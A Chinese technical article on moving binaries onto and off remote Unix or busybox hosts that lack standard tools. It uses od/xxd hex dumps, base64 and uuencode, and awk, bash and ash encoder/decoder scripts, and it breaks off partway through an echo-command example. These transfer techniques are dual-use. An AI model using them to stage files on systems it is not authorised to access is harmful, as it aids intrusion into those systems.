标题: 非常规手段上传下载二进制文件 创建: 2000-07-17 14:57 更新: 2020-01-15 12:06 链接: https://scz.617.cn/unix/200007171457.txt -------------------------------------------------------------------------- 目录: ☆ od+xxd ☆ xxd 1) 方案1 2) 方案2 ☆ base64 ☆ uuencode/uudecode 1) uu编码 2) base64编码 ☆ awk 1) base64decode.awk 2) base64.awk 3) uudecode.awk 4) uudecode_ash.awk 5) base64_ash.awk ☆ bash 1) xxd.sh 2) xxd_mini.sh 3) base64.sh ☆ ash 1) xxd.ash 2) echohelper.c 3) base64.ash ☆ openssl ☆ 小结 ☆ perl 1) nc.pl ☆ /dev/tcp 1) 检查SSH banner 2) 访问"www.microsoft.com" 3) 从本机向远端传输文件 4) 从远端向本机传输文件 5) 开远程shell ☆ SecureCRT 1) 从Windows向Linux上传文件 1.1) ZMODEM(推荐) 1.2) YMODEM 1.3) XMODEM(不推荐) 1.4) KERMIT 2) 从Linux向Windows下载文件 2.1) ZMODEM(推荐) 2.2) YMODEM 2.3) XMODEM(不推荐) 2.4) KERMIT 3) 妖孽的Send ASCII/Recive ASCII/Send Binary ☆ zssh ☆ minicom ☆ 其他工具 1) ExtraPuTTY -------------------------------------------------------------------------- ☆ od+xxd 2000年时我和tt在一台远程主机上想把其中一个ELF弄回本地来逆向工程,目标只在 23/TCP上开了服务,其他端口不可达。远程主机上可用命令少得可怜,xxd、base64、 uuencode之类的都没有,但意外发现有个od。后来靠od把这个ELF从远程弄回了本地。 为了便于演示说明,生造一个二进制文件: $ printf -v escseq \\%o {0..255} $ printf "$escseq" > some 这是bash语法,ash不支持。 $ xxd -g 1 some 00000000: 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f ................ 00000010: 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f ................ 00000020: 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f !"#$%&'()*+,-./ 00000030: 30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 0123456789:;<=>? 00000040: 40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f @ABCDEFGHIJKLMNO 00000050: 50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f PQRSTUVWXYZ[\]^_ 00000060: 60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f `abcdefghijklmno 00000070: 70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f pqrstuvwxyz{|}~. 00000080: 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f ................ 00000090: 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f ................ 000000a0: a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af ................ 000000b0: b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf ................ 000000c0: c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf ................ 000000d0: d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df ................ 000000e0: e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef ................ 000000f0: f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff ................ $ xxd -p some 000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d 1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b 3c3d3e3f404142434445464748494a4b4c4d4e4f50515253545556575859 5a5b5c5d5e5f606162636465666768696a6b6c6d6e6f7071727374757677 78797a7b7c7d7e7f808182838485868788898a8b8c8d8e8f909192939495 969798999a9b9c9d9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3 b4b5b6b7b8b9babbbcbdbebfc0c1c2c3c4c5c6c7c8c9cacbcccdcecfd0d1 d2d3d4d5d6d7d8d9dadbdcdddedfe0e1e2e3e4e5e6e7e8e9eaebecedeeef f0f1f2f3f4f5f6f7f8f9fafbfcfdfeff xxd在Linux中很常见,但在其他非Linux的*nix环境中,od可能更常见。 $ od -An -tx1 -v --width=30 some &> some.txt some.txt形如: 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 在远程主机上显示some.txt,设法把其中的内容原封不动地弄回本地来,比如录屏、 开启终端日志等等。然后在本地处理some.txt,恢复出some。 $ sed "s/ //g" some.txt &> some.tmp 如果远程主机上有sed,上面这步可以在远程主机进行,减少通过网络传输的文本数 据量。 some.tmp内容形如: 000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d 1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b 3c3d3e3f404142434445464748494a4b4c4d4e4f50515253545556575859 some.tmp的格式就是"xxx -p"的输出格式。 $ xxd -r -p some.tmp some od本身只有数据转储功能,没有数据恢复功能。上面用"xxd -r"恢复出binary。 有人Ctrl-U断在U-Boot中,进行hexdump,然后恢复binary,本质是一样的。 ☆ xxd 如果远程主机有xxd,整个过程类似。 1) 方案1 $ xxd -p some &> some.txt some.txt形如: 000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d 1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b 3c3d3e3f404142434445464748494a4b4c4d4e4f50515253545556575859 xxd生成的some.txt已经是最精简形式,不需要sed再处理。 $ xxd -r -p some.txt some 2) 方案2 方案2演示xxd的其他参数,性价比不如方案1。 $ xxd -g 1 some some.txt some.txt形如: 00000000: 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f ................ 00000010: 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f ................ 00000020: 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f !"#$%&'()*+,-./ $ xxd -r -s 0 some.txt some ☆ base64 https://en.wikipedia.org/wiki/Base64 原始数据 01 02 03 二进制表示 00000001 00000010 00000011 从8-bits一组变成6-bits一组 000000 010000 001000 000011 16进制表示 00 10 08 03 查表后转成: A Q I D 上面是base64编码基本原理,没有考虑需要填充的情形。 如果远程主机可以对binary进行base64编码,就没什么好说的了。 $ base64 some > some.txt some.txt形如: AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc4 OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWltcXV5fYGFiY2RlZmdoaWprbG1ub3Bx cnN0dXZ3eHl6e3x9fn+AgYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmq q6ytrq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna29zd3t/g4eLj 5OXm5+jp6uvs7e7v8PHy8/T19vf4+fr7/P3+/w== $ base64 -d some.txt > some 本文假设针对*nix环境,不考虑vbscript、jscript这些存在。 base64编码比"xxd -p"省空间,前者一个字符代表6-bits,后者一个字符代表4-bits。 ☆ uuencode/uudecode https://en.wikipedia.org/wiki/Uuencoding -------------------------------------------------------------------------- begin ... ` end -------------------------------------------------------------------------- is a character indicating the number of data bytes which have been encoded on that line. This is an ASCII character determined by adding 32 to the actual byte count, with the sole exception of a grave accent "`" (ASCII code 96) signifying zero bytes. All data lines except the last (if the data was not divisible by 45), have 45 bytes of encoded data (60 characters after encoding). Therefore, the vast majority of length values is 'M', (32 + 45 = ASCII code 77 or "M"). If the source is not divisible by 3 then the last 4-byte section will contain padding bytes to make it cleanly divisible. These bytes are subtracted from the line's so that the decoder does not append unwanted characters to the file. uu编码如今已不多见。 1) uu编码 $ uuencode some some > some.txt some.txt形如: begin 644 some M``$"`P0%!@<("0H+#`T.#Q`1$A,4%187&!D:&QP='A\@(2(C)"4F)R@I*BLL M+2XO,#$R,S0U-C'EZ>WQ]?G^`@8*#A(6& MAXB)BHN,C8Z/D)&2DY25EI>8F9J;G)V>GZ"AHJ.DI::GJ*FJJZRMKJ^PL;*S MM+6VM[BYNKN\O;Z_P,'"P\3%QL?(R+CY.7FY^CIZNOL[>[O\/'R\_3U]O?X^?K[_/W^_P`` ` end 这是传统的uuencode编码 $ uudecode -o some some.txt 2) base64编码 某些uuencode命令支持base64 $ uuencode -m some some > some.txt some.txt形如: begin-base64 644 some AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKiss LS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZ WltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn+AgYKDhIWG h4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6ytrq+wsbKz tLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna29zd3t/g 4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+fr7/P3+/w== ==== $ uudecode -o some some.txt 解码时不需要额外参数,靠第一行识别base64编码。"uuencode -m"产生的内容相比 base64产生的内容,多了第一行及最后一行: begin-base64 644 some ==== 把这两行删除后,就可以用"base64 -d"解码。 ☆ awk 我们并不只考虑从远程主机下载binary,也考虑向远程主机上传binary。 如果目标环境有gcc,就弄个C代码实现base64编解码。本文不考虑宽松环境,像perl、 python、gcc之类的都不考虑。考虑目标环境存在awk。 1) base64decode.awk https://github.com/shane-kerr/AWK-base64decode/blob/master/base64decode.awk -------------------------------------------------------------------------- # base64decode.awk # # Introduction # ============ # Decode Base64-encoded strings. # # Invocation # ========== # Typically you run the script like this: # # $ awk -f base64decode.awk [file1 [file2 [...]]] > output # The script implements Base64 decoding, based on RFC 3548: # # https://tools.ietf.org/html/rfc3548 # create our lookup table BEGIN { # load symbols based on the alphabet for (i=0; i<26; i++) { BASE64[sprintf("%c", i+65)] = i BASE64[sprintf("%c", i+97)] = i+26 } # load our numbers for (i=0; i<10; i++) { BASE64[sprintf("%c", i+48)] = i+52 } # and finally our two additional characters BASE64["+"] = 62 BASE64["/"] = 63 # also add in our padding character BASE64["="] = -1 } # The main function to decode Base64 data. # # Arguments: # * encoded - the Base64 string # * result - an array to return the binary data in # # We exit on error. For other use cases this should be changed to # returning an error code somehow. function base64decode(encoded, result) { n = 1 while (length(encoded) >= 4) { g0 = BASE64[substr(encoded, 1, 1)] g1 = BASE64[substr(encoded, 2, 1)] g2 = BASE64[substr(encoded, 3, 1)] g3 = BASE64[substr(encoded, 4, 1)] if (g0 == "") { printf("Unrecognized character %c in Base 64 encoded string\n", g0) >> "/dev/stderr" exit 1 } if (g1 == "") { printf("Unrecognized character %c in Base 64 encoded string\n", g1) >> "/dev/stderr" exit 1 } if (g2 == "") { printf("Unrecognized character %c in Base 64 encoded string\n", g2) >> "/dev/stderr" exit 1 } if (g3 == "") { printf("Unrecognized character %c in Base 64 encoded string\n", g3) >> "/dev/stderr" exit 1 } # we don't have bit shifting in AWK, but we can achieve the same # results with multiplication, division, and modulo arithmetic result[n++] = (g0 * 4) + int(g1 / 16) if (g2 != -1) { result[n++] = ((g1 * 16) % 256) + int(g2 / 4) if (g3 != -1) { result[n++] = ((g2 * 64) % 256) + g3 } } encoded = substr(encoded, 5) } if (length(encoded) != 0) { printf("Extra characters at end of Base 64 encoded string: \"%s\"\n", encoded) >> "/dev/stderr" exit 1 } } # our main text processing { # Decode what we have read. base64decode($0, result) # Output the decoded string. # # We cannot output a NUL character using BusyBox AWK. See: # https://stackoverflow.com/a/32302711 # # So we collect our result into an octal string and use the # shell "printf" command to create the actual output. # # This also helps with gawk, which gets confused about the # non-ASCII output if localization is used unless this is # set via LC_ALL=C or via "--characters-as-bytes". printf_str = "" for (i=1; i in result; i++) { printf_str = printf_str sprintf("\\%03o", result[i]) if (length(printf_str) >= 1024) { system("printf '" printf_str "'") printf_str = "" } delete result[i] } system("printf '" printf_str "'") } -------------------------------------------------------------------------- $ base64 some > some.txt $ awk -f base64decode.awk some.txt > some $ busybox awk -f base64decode.awk some.txt > some busybox不一定有nc,如果有awk就可以用前面这招。awk脚本执行效率很低,极端情 况下聊胜于无。base64decode.awk在一个很弱的busybox环境下成功解码。 2) base64.awk https://sites.google.com/site/dannychouinard/Home/unix-linux-trinkets/little-utilities/base64-and-base85-encoding-awk-scripts Danny Chouinard的原实现在做base64编码时没有正确处理结尾的=,他固定添加"=="。 这个问题不大,原脚本产生的编码输出可以被原脚本有效解码,但用其他工具解码原 脚本产生的编码输出时可能容错度不够。比如"scz@nsfocus"经原脚本编码产生 "c2N6QG5zZm9jdXM==",结尾多了一个=,用其他工具解码时表现各异: $ echo "c2N6QG5zZm9jdXM==" | base64 -d scz@nsfocusbase64: invalid input $ echo "c2N6QG5zZm9jdXM==" | openssl enc -base64 -d (没有输出) 去掉base64编码结尾多余的=,对比测试: $ echo "c2N6QG5zZm9jdXM=" | base64 -d scz@nsfocus $ echo "c2N6QG5zZm9jdXM=" | openssl enc -base64 -d scz@nsfocus 如果上下文都只用Danny Chouinard的原脚本,它的实现是最精简的。 下面是改过的版本,确保base64编码输出符合规范,以便与其他工具混合使用。其 base64编码功能无法直接处理binary,只能处理"xxd -p"这类输入,允许出现空格。 暂时没有找到用awk直接处理binary的办法。 -------------------------------------------------------------------------- #!/usr/bin/awk -f # # Author : Danny Chouinard # Modify : scz@nsfocus # function base64encode () { o = 0; bits = 0; n = 0; count = 0; while ( getline ) { for ( c = 0; c < length( $0 ); c++ ) { h = index( "0123456789abcdef", substr( $0, c+1, 1 ) ); if ( h-- ) { count++; for( i = 0; i < 4; i++ ) { o = o * 2 + int( h / 8 ) h = ( h * 2 ) % 16; if( ++bits == 6 ) { printf substr( base64table, o+1, 1 ); if( ++n >= maxn ) { printf( "\n" ); n = 0; } o = 0; bits = 0; } } } } } if ( bits ) { while ( bits++ < 6 ) { o = o * 2; } printf substr( base64table, o+1, 1 ); if( ++n >= maxn ) { printf( "\n" ); n = 0; } } count = int( count / 2 ) % 3; if ( count ) { for ( i = 0; i < 3 - count; i++ ) { printf( "=" ); if( ++n >= maxn ) { printf( "\n" ); n = 0; } } } if ( n ) { printf( "\n" ); } } function base64decode () { o = 0; bits = 0; while( getline < "/dev/stdin" ) { for ( i = 0; i < length( $0 ); i++ ) { c = index( base64table, substr( $0, i+1, 1 ) ); if ( c-- ) { for ( b = 0; b < 6; b++ ) { o = o * 2 + int( c / 32 ); c = ( c * 2 ) % 64; if( ++bits == 8 ) { printf( "%c", o ); o = 0; bits = 0; } } } } } } BEGIN \ { base64table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; maxn = 76; if ( ARGV[1] == "d" ) { base64decode(); } else { base64encode(); } } -------------------------------------------------------------------------- $ xxd -p some | awk -f base64.awk > some.txt $ base64 some > some.txt 这两个输出完全相同。 base64解码时,必须关闭%c的UTF-8支持,下面两种办法均可: $ LANG=C awk -f base64.awk d < some.txt > some $ awk --characters-as-bytes -f base64.awk d < some.txt > some base64.awk直接使用awk的printf()。如果这个awk实际是由busybox提供的,此时可 能无法输出0x00,这点需要在目标环境实测: $ awk 'BEGIN {printf "%c%c", 1, 0}' | xxd -g 1 00000000: 01 00 .. $ /sbin/busybox-i686 awk 'BEGIN {printf "%c%c", 1, 0}' | xxd -g 1 00000000: 01 . 后者只输出了0x01。实测发现,如果试图先输出0x00,将直接截断,后面的0x01不会 被输出。 $ /sbin/busybox-i686 awk 'BEGIN {printf "%c%c", 0, 1}' | xxd -g 1 (没有输出) 可以调用shell的printf输出0x00,UTF-8困挠一并被规避,参看uudecode_ash.awk。 3) uudecode.awk busybox提供的awk可能无法输出0x00,本脚本不适用于busybox环境。 -------------------------------------------------------------------------- #!/usr/bin/awk -f function looktable ( l, p ) { uutable = "!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_"; return index( uutable, substr( l, p+1, 1 ) ); } /^[^be]/ \ { len = looktable( $0, 0 ); for ( i = 1; len > 0; i += 4 ) { a = looktable( $0, i ); b = looktable( $0, i+1 ); c = looktable( $0, i+2 ); d = looktable( $0, i+3 ); printf( "%c", a * 4 + b / 16 ); if ( len > 1 ) { printf( "%c", b * 16 + c / 4 ); if ( len > 2 ) { printf( "%c", c * 64 + d ); } } len -= 3; } } -------------------------------------------------------------------------- $ uuencode some some > some.txt $ LANG=C awk -f uudecode.awk < some.txt > some $ awk --characters-as-bytes -f uudecode.awk < some.txt > some 4) uudecode_ash.awk -------------------------------------------------------------------------- #!/bin/awk -f function looktable ( l, p ) { uutable = "!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_"; return index( uutable, substr( l, p+1, 1 ) ); } /^[^be]/ \ { len = looktable( $0, 0 ); n = 1; for ( i = 1; len > 0; i += 4 ) { a = looktable( $0, i ); b = looktable( $0, i+1 ); c = looktable( $0, i+2 ); d = looktable( $0, i+3 ); ret[n++] = ( a * 4 + b / 16 ) % 256; if ( len > 1 ) { ret[n++] = ( b * 16 + c / 4 ) % 256; if ( len > 2 ) { ret[n++] = ( c * 64 + d ) % 256; } } len -= 3; } escseq = ""; for ( i = 1; i in ret; i++ ) { escseq = escseq sprintf( "\\x%02x", ret[i] ); delete ret[i]; } system( "printf \"" escseq "\"" ); } -------------------------------------------------------------------------- $ uuencode some some > some.txt $ busybox awk -f uudecode_ash.awk < some.txt > some 此处不需要LANG=C,并且可以输出0x00,适用于busybox环境。 5) base64_ash.awk 从base64.awk移植出一个可以在busybox(ash+awk)中使用的版本。 -------------------------------------------------------------------------- #!/bin/awk -f # # Author : Danny Chouinard # Modify : scz@nsfocus # function base64encode () { o = 0; bits = 0; n = 0; count = 0; while ( getline ) { for ( c = 0; c < length( $0 ); c++ ) { h = index( "0123456789abcdef", substr( $0, c+1, 1 ) ); if ( h-- ) { count++; for( i = 0; i < 4; i++ ) { o = o * 2 + int( h / 8 ) h = ( h * 2 ) % 16; if( ++bits == 6 ) { printf substr( base64table, o+1, 1 ); if( ++n >= maxn ) { printf( "\n" ); n = 0; } o = 0; bits = 0; } } } } } if ( bits ) { while ( bits++ < 6 ) { o = o * 2; } printf substr( base64table, o+1, 1 ); if( ++n >= maxn ) { printf( "\n" ); n = 0; } } count = int( count / 2 ) % 3; if ( count ) { for ( i = 0; i < 3 - count; i++ ) { printf( "=" ); if( ++n >= maxn ) { printf( "\n" ); n = 0; } } } if ( n ) { printf( "\n" ); } } function base64decode () { o = 0; bits = 0; while( getline < "/dev/stdin" ) { n = 1; for ( i = 0; i < length( $0 ); i++ ) { c = index( base64table, substr( $0, i+1, 1 ) ); if ( c-- ) { for ( b = 0; b < 6; b++ ) { o = o * 2 + int( c / 32 ); c = ( c * 2 ) % 64; if( ++bits == 8 ) { ret[n++] = o; o = 0; bits = 0; } } } } escseq = ""; for ( i = 1; i in ret; i++ ) { escseq = escseq sprintf( "\\x%02x", ret[i] ); delete ret[i]; } system( "printf \"" escseq "\"" ); } } BEGIN \ { base64table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; maxn = 76; if ( ARGV[1] == "d" ) { base64decode(); } else { base64encode(); } } -------------------------------------------------------------------------- $ busybox od -An -tx1 -v some | busybox awk -f base64_ash.awk > some.txt $ busybox awk -f base64_ash.awk d < some.txt > some 此处不需要LANG=C,并且可以输出0x00,适用于busybox环境。 ☆ bash 1) xxd.sh 这个脚本要求bash 4.3或更高版本,充斥着bash的各种奇技淫巧,如果读不懂,请看 bash(1)。 -------------------------------------------------------------------------- #!/bin/bash # # Read a file by bytes in BASH # https://stackoverflow.com/questions/13889659/read-a-file-by-bytes-in-bash # # Author : F. Hauri # : 2016-09 # # Modify : scz@nsfocus # : 2018-10-08 # : 2018-10-11 15:12 # function hexdump () { printf -v escseq \\%o {32..126} printf -v asciitable "$escseq" printf -v ctrltable %-20sE abtnvfr if [ "$1" == "-p" ] ; then printf -v spaceline %30s fmt=${spaceline// /%02x} else printf -v spaceline %16s fmt=${spaceline// / %02x} fi offset=0 hexarray=() asciidump= while LANG=C IFS= read -r -d '' -n 1 byte do if [ "$byte" ] ; then printf -v escchar "%q" "$byte" case ${#escchar} in 1|2 ) index=${asciitable%$escchar*} hexarray+=($((${#index}+0x20))) asciidump+=$byte ;; 5 ) tmp=${escchar#*\'\\} index=${ctrltable%${tmp%\'}*} hexarray+=($((${#index}+7))) asciidump+=. ;; 7 ) tmp=${escchar#*\'\\} hexarray+=($((8#${tmp%\'}))) asciidump+=. ;; * ) echo >&2 Error: "[$escchar]" ;; esac else hexarray+=(0) asciidump+=. fi if [ "$1" == "-p" ] ; then if [ ${#hexarray[@]} -gt 29 ] ; then printf "$fmt\n" ${hexarray[@]} ((offset+=30)) hexarray=() asciidump= fi else if [ ${#hexarray[@]} -gt 15 ] ; then printf "%08x:$fmt %s\n" $offset ${hexarray[@]} "$asciidump" ((offset+=16)) hexarray=() asciidump= fi fi done if [ "$hexarray" ] ; then if [ "$1" == "-p" ] ; then fmt="${fmt:0:${#hexarray[@]}*4}" printf "$fmt\n" ${hexarray[@]} else fmt="${fmt:0:${#hexarray[@]}*5}%$((48-${#hexarray[@]}*3))s" printf "%08x:$fmt %s\n" $offset ${hexarray[@]} " " "$asciidump" fi fi } function revert () { hextable="0123456789abcdef" two=0 hh= while LANG=C IFS= read -r -d '' -n 1 byte do if [ "$byte" ] ; then printf -v escchar "%q" "$byte" case ${#escchar} in 1 ) index=${hextable%${escchar,,}*} index=${#index} if [[ $index != 16 ]] ; then ((two+=1)) hh+=$escchar if [[ $two == 2 ]] ; then printf -v escseq "\\\\x%s" $hh printf $escseq two=0 hh= fi fi ;; * ) ;; esac fi done } if [ "$1" != "-r" ] ; then hexdump $1 else revert fi -------------------------------------------------------------------------- 脚本中的-d ''很重要,否则读取\n时,\n被自动转成\0。 $ ./xxd.sh -p < some > some.txt $ xxd -p some > some.txt 这两个输出完全相同 some.txt形如: 000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d 1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b 3c3d3e3f404142434445464748494a4b4c4d4e4f50515253545556575859 $ ./xxd.sh -r < some.txt > some $ xxd -r -p some.txt some 这两个输出完全相同 "xxd.sh -r"的输入允许出现空格、换行等一切非16进制数字的字符,它们将被丢弃。 16进制数字大小写不敏感。 2) xxd_mini.sh -------------------------------------------------------------------------- #!/bin/bash # # Author : scz@nsfocus # : 2018-10-08 # : 2018-10-12 11:58 # hexdump () { count=0 while LANG=C IFS= read -r -d '' -n 1 byte do LANG=C printf '%02x' "'$byte" let count+=1 if [ $count -eq 30 ] ; then printf "\n" count=0 fi done if [ $count -ne 0 ] ; then printf "\n" fi } revert () { hextable="0123456789abcdef" two=0 hh= while LANG=C IFS= read -r -n 1 byte do if [ "$byte" ] ; then index=${hextable%${byte}*} index=${#index} if [[ $index != 16 ]] ; then let two+=1 hh=$hh$byte if [[ $two == 2 ]] ; then printf "\x"$hh two=0 hh= fi fi fi done } if [ "$1" != "-r" ] ; then hexdump $1 else revert fi -------------------------------------------------------------------------- 这个脚本不支持带ascii区的hexdump,即不支持"xxd -g 1"的效果,但支持"xxd -p"、 "xxd -r"的效果,作为上传、下载工具,足矣。 相比xxd.sh,xxd_mini.sh的语法有些陈旧,这是为了兼容ash,参看xxd.ash的说明。 $ ./xxd_mini.sh < some $ xxd -p some 这两个输出完全相同 $ ./xxd_mini.sh < some | ./xxd_mini.sh -r | xxd -g 1 $ xxd -p some | xxd -r -p | xxd -g 1 这两个输出完全相同 3) base64.sh 这个脚本使用了bash的语法,不能直接用于busybox的ash环境。如需兼容ash,参看 base64.ash。 -------------------------------------------------------------------------- #!/bin/bash # # Author : scz@nsfocus # : 2018-10-08 # : 2018-10-16 17:46 # function base64encode () { printf -v escseq \\%o {32..126} printf -v asciitable "$escseq" printf -v ctrltable %-20sE abtnvfr base64table="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" o=0 bits=0 n=0 maxn=76 count=0 while LANG=C IFS= read -r -d '' -n 1 byte do if [ "$byte" ] ; then printf -v escchar "%q" "$byte" case ${#escchar} in 1|2 ) index=${asciitable%$escchar*} ((hh=${#index}+0x20)) ;; 5 ) tmp=${escchar#*\'\\} index=${ctrltable%${tmp%\'}*} ((hh=${#index}+7)) ;; 7 ) tmp=${escchar#*\'\\} ((hh=8#${tmp%\'})) ;; * ) echo >&2 Error: "[$escchar]" ;; esac else hh=0 fi ((count++)) for ((i=0;i<8;i++)) do ((o=o*2+hh/128)) ((hh=hh*2%256)) ((bits++)) if [[ $bits == 6 ]] ; then printf ${base64table:$o:1} ((n++)) if [ $n -ge $maxn ] ; then printf "\n" n=0 fi o=0 bits=0 fi done done if [[ $bits != 0 ]] ; then while [ $bits -lt 6 ] do ((bits++)) ((o*=2)) done printf ${base64table:$o:1} ((n++)) if [ $n -ge $maxn ] ; then printf "\n" n=0 fi fi ((count=count%3)) if [[ $count != 0 ]] ; then for ((i=0;i<3-count;i++)) do printf "=" ((n++)) if [ $n -ge $maxn ] ; then printf "\n" n=0 fi done fi if [ $n -ne 0 ] ; then printf "\n" fi } function base64decode () { base64table="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" o=0 bits=0 while LANG=C IFS= read -r -d '' -n 1 byte do if [ "$byte" ] ; then c=${base64table%${byte}*} c=${#c} if [[ $c != 64 ]] ; then # # printf "%#x\n" $c # continue # for ((b=0;b<6;b++)) do ((o=o*2+c/32)) ((c=c*2%64)) ((bits++)) if [[ $bits == 8 ]] ; then printf -v escseq \\x5cx%x $o printf $escseq o=0 bits=0 fi done fi fi done } if [ "$1" != "-d" ] ; then base64encode else base64decode fi -------------------------------------------------------------------------- $ echo -n -e "scz@nsfocus" | ./base64.sh c2N6QG5zZm9jdXM= $ ./base64.sh < some > some.txt $ ./base64.sh -d < some.txt > some ☆ ash bash很强大,而我们面临的很可能是busybox提供的ash,ash要比bash弱不少。 1) xxd.ash -------------------------------------------------------------------------- #!/bin/ash # # Author : scz@nsfocus # : 2018-10-08 # : 2018-10-12 11:58 # hexdump () { count=0 while LANG=C IFS= read -r -n 1 byte do LANG=C printf '%02x' "'$byte" let count+=1 if [ $count -eq 30 ] ; then printf "\n" count=0 fi done if [ $count -ne 0 ] ; then printf "\n" fi } revert () { hextable="0123456789abcdef" two=0 hh= while LANG=C IFS= read -r -n 1 byte do if [ "$byte" ] ; then index=${hextable%${byte}*} index=${#index} if [[ $index != 16 ]] ; then let two+=1 hh=$hh$byte if [[ $two == 2 ]] ; then printf "\x"$hh two=0 hh= fi fi fi done } if [ "$1" != "-r" ] ; then hexdump $1 else revert fi -------------------------------------------------------------------------- xxd.ash实际就是xxd_mini.sh,编写后者时已经充分考虑了ash与bash的兼容性。 为了进行递增操作,使用了let关键字,ash很可能不支持(())。 不要写function关键字,busybox v1.19.3不认,v1.27.2才认。 ash不支持-d、-N,因此xxd.ash中read时删除了-d '',这导致脚本无法正确读取\n, 读进来时被自动转换成\0,在ash中找不到规避办法。 ash不支持${parameter,,pattern},无法将输入自动转换成小写,xxd.ash只能处理 全小写的some.txt。 xxd.ash的revert()可用,hexdump()不能正确转储\n。如果some中不包含\n,则可使 用xxd.ash的hexdump()。如果非要在弱环境中进行hexdump(),可以先用revert()上 传一个静态链接的ELF,此处不展开讨论。 2) echohelper.c busybox的ash支持"echo -n -e",这可能是最笨的上传binary方案。写个辅助C程序 将指定binary转换成一系列echo命令。 -------------------------------------------------------------------------- /* * gcc -Wall -pipe -O3 -s -o echohelper echohelper.c */ #include #include #include #include #include #include int main ( int argc, char * argv[] ) { int ret = EXIT_FAILURE; int fd, i, n; unsigned char buf[16]; fd = open( argv[1], O_RDONLY, 0 ); if ( fd < 0 ) { perror( "open" ); } else { while ( ( n = read( fd, buf, sizeof( buf ) ) ) > 0 ) { printf( "echo -n -e \"" ); for ( i = 0; i < n; i++ ) { printf( "\\x%x", buf[i] ); } printf( "\"\n" ); } close( fd ); ret = EXIT_SUCCESS; } return( ret ); } -------------------------------------------------------------------------- $ ./echohelper some > some.ash $ busybox ash some.ash > some some.ash形如: echo -n -e "\x0\x1\x2\x3\x4\x5\x6\x7\x8\x9\xa\xb\xc\xd\xe\xf" echo -n -e "\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" echo -n -e "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f" echo -n -e "\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f" echo -n -e "\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f" echo -n -e "\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f" echo -n -e "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f" echo -n -e "\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f" echo -n -e "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f" echo -n -e 